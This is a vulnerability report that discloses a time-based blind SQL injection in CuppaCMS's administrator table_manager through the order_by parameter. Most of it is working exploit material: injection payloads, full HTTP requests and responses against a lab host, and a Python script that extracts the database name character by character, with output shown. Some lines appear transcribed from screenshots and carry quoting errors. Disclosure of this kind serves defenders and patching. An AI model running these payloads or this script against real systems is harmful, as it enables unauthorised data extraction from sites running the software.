

**VULNERABLE:** SQL injection vulnerability exists in CuppaCMS. An attacker can inject query in `"/administrator/components/table_manager/"` via the `'order_by'` parameters.

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**Product:** CuppaCMS

**Description:** The vulnerability is present in the `"/administrator/components/table_manager/"` , and can be exploited through a POST request via the `'order_by'` parameters.

**Impact:** Allow attacker inject query and access , disclosure of all data on the system.

**Suggestions:** User input should be filter, Escaping and Parameterized Queries.

**Payload exploit:** `order_by=id`,if(SUBSTRING(database(),1,1)='c',sleep(3),sleep(0))-- -`

## Proof of concept (POC):

Payload Boolean true: `order_by=id',if(SUBSTRING(database(),1,1)='c',sleep(3),sleep(0))-- -`

## Request and Response:

**Request**

```
1 POST /administrator/components/table_manager/ HTTP/1.1
2 Host: 192.168.1.8:8080
3 Content-Length: 282
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110
  Safari/537.36
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.1.8:8080
9 Referer: http://192.168.1.8:8080/administrator/
10 Accept-Encoding: gzip, deflate
11 Accept-Language:
  vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
12 Cookie: DedeLoginTime=1640950145;
  DedeLoginTime1BH21ANI1AGD297L1FF21LNO2BGE1DNG=6d85a663f6478df0;
  sweetrice=creio2c0bngskiabgunvagvg29v; PHPSESSID=
  6qqlnvqf0qeshmli0t77tth8r1; country=us; language=en;
  administrator_path=
  http%3A%2F%2F192.168.1.8%3A8080%2Fadministrator%2F;
  administrator_document_path=%2Fadministrator%2F
13 Connection: close
14
15 search_word=&filter_user_group_id=1&filter_date_registered_from=
  &filter date registered to=&filter enabled=&order by=
  id',if(SUBSTRING(database(),1,1)='c',sleep(3),sleep(0))--+-&
  order_orientation=ASC&path=
  component%2Ftable_manager%2Fview%2Fcu_users&uniqueClass=
  wrapper_content_149840
```

**Response**

```
1 HTTP/1.1 200 OK
2 Date: Thu, 06 Jan 2022 14:20:59 GMT
3 Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
4 X-Powered-By: PHP/7.4.27
5 Set-Cookie: country=us; path=/
6 Set-Cookie: language=en; path=/
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Connection: close
11 Content-Type: text/html; charset=UTF-8
12 Content-Length: 18937
13
14 <style>
15 .list_admin_table{
16   position:relative;
17 }
18 .list_admin_tablehl{
19   float:left;
20 }
21 .list_admin_table.tools{
22   position:relative;
23   float:right;
24   top:4px;
25 }
26 .list_admin_table.filter_content{
27   padding:0px0px0px5px;
28 }
29 .list_admin_table.filter_content.input{
30   max-width:90px;
31   margin:0px2px;
```

Done 19,333 bytes | 12,159 millis

Payload Boolean true: order\_by=id',if(SUBSTRING(database(),1,1)='d',sleep(3),sleep(0))-- -

### Request and Response:

The screenshot displays the Request and Response tabs of a web browser's developer tools. The Request tab shows a POST request to `/administrator/components/table_manager/` with various headers and a large body containing a payload. The Response tab shows an HTTP 200 OK response with headers and HTML content. A red box highlights the payload in the request body, and another red box highlights the response size at the bottom right.

**Request:**

```
1 POST /administrator/components/table_manager/ HTTP/1.1
2 Host: 192.168.1.8:8080
3 Content-Length: 282
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110
  Safari/537.36
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.1.8:8080
9 Referer: http://192.168.1.8:8080/administrator/
10 Accept-Encoding: gzip, deflate
11 Accept-Language:
  vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
12 Cookie: DedeLoginTime=1640950145;
  DedeLoginTime1BH21ANI1AGD297L1FF21LNO2BGE1DNG=6d85a663f6478df0;
  sweetrice=creio2c0bngskiabguvagvg29v; PHPSESSID=
  6qqlnvqf0qeshmli0t77tth8r1; country=us; language=en;
  administrator_path=
  http%3A%2F%2F192.168.1.8%3A8080%2Fadministrator%2F;
  administrator_document_path=%2Fadministrator%2F
13 Connection: close
14
15 search_word=&filter_user_group_id=1&filter_date_registered_from=
  &filter_date_registered_to=&filter_enabled=&order_by=
  id',if(SUBSTRING(database(),1,1)='d',sleep(3),sleep(0))--&
  order_orientation=ASC&path=
  component%2Ftable_manager%2Fview%2Fcu_users&uniqueClass=
  wrapper_content_149840
```

**Response:**

```
1 HTTP/1.1 200 OK
2 Date: Thu, 06 Jan 2022 14:39:34 GMT
3 Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
4 X-Powered-By: PHP/7.4.27
5 Set-Cookie: country=us; path=/
6 Set-Cookie: language=en; path=/
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Connection: close
11 Content-Type: text/html; charset=UTF-8
12 Content-Length: 18937
13
14 <style>
15 .list_admin_table{
  position:relative;
16 .list_admin_tableh1{
  float:left;
17 .list_admin_table.tools{
  position:relative;
  float:right;
  top:4px;
18 .list_admin_table.filter_content{
  padding:0px0px0px5px;
19 .list_admin_table.filter_content.input{
  max-width:90px;
  margin:0px2px;
```

Done 19,333 bytes | 121 millis

## Exploit

```
poc.py - C:\Users\welcome\Desktop\report\cuppa cms sqli 3\poc.py (3.7.0)*
File Edit Format Run Options Window Help

import time
import string
import requests

url = "http://192.168.1.8:8080/administrator/components/table_manager/"
headers = {
    "Origin": "http://192.168.1.8:8080",
    "Cookie": "DedeLoginTime=1640950145; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=6d85a663f6478df0; sweetrice=creio2c0bngskiabguvagvg29v; PHPSESSID=...",
    "Accept": "*/.*",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
    "Referer": "http://192.168.1.8:8080/administrator/",
    "Connection": "close",
    "Host": "192.168.1.8:8080",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
    "Content-Length": "225",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
database=""
for i in range(1,6):
    for j in string.ascii_letters+string.digits+" "+",":
        payload_1="", if(substring(database(),{0},1)='{1}',sleep(3),sleep(0))-- -.format(i,j)
        payload = "search_word=&filter_user_group_id=1&filter_date_registered_from=&filter_date_registered_to=&filter_enabled=&order_by=id"+payload_1
        s=time.time()
        response = requests.post(url, data=payload, headers=headers)
        e=time.time()
        if e-s>3:
            database+=j
            print('database: '+database+' | Time: '+str(e-s))
            break
```

```
(phucyth@DESKTOP-E71D771)-[/mnt/c/Users/welcome/Desktop]
$ python3 poc.py
database: c | Time: 12.145493268966675
database: cu | Time: 12.183819055557251
database: cup | Time: 12.171619176864624
database: cupp | Time: 12.150767087936401
database: cuppa | Time: 12.164562463760376
```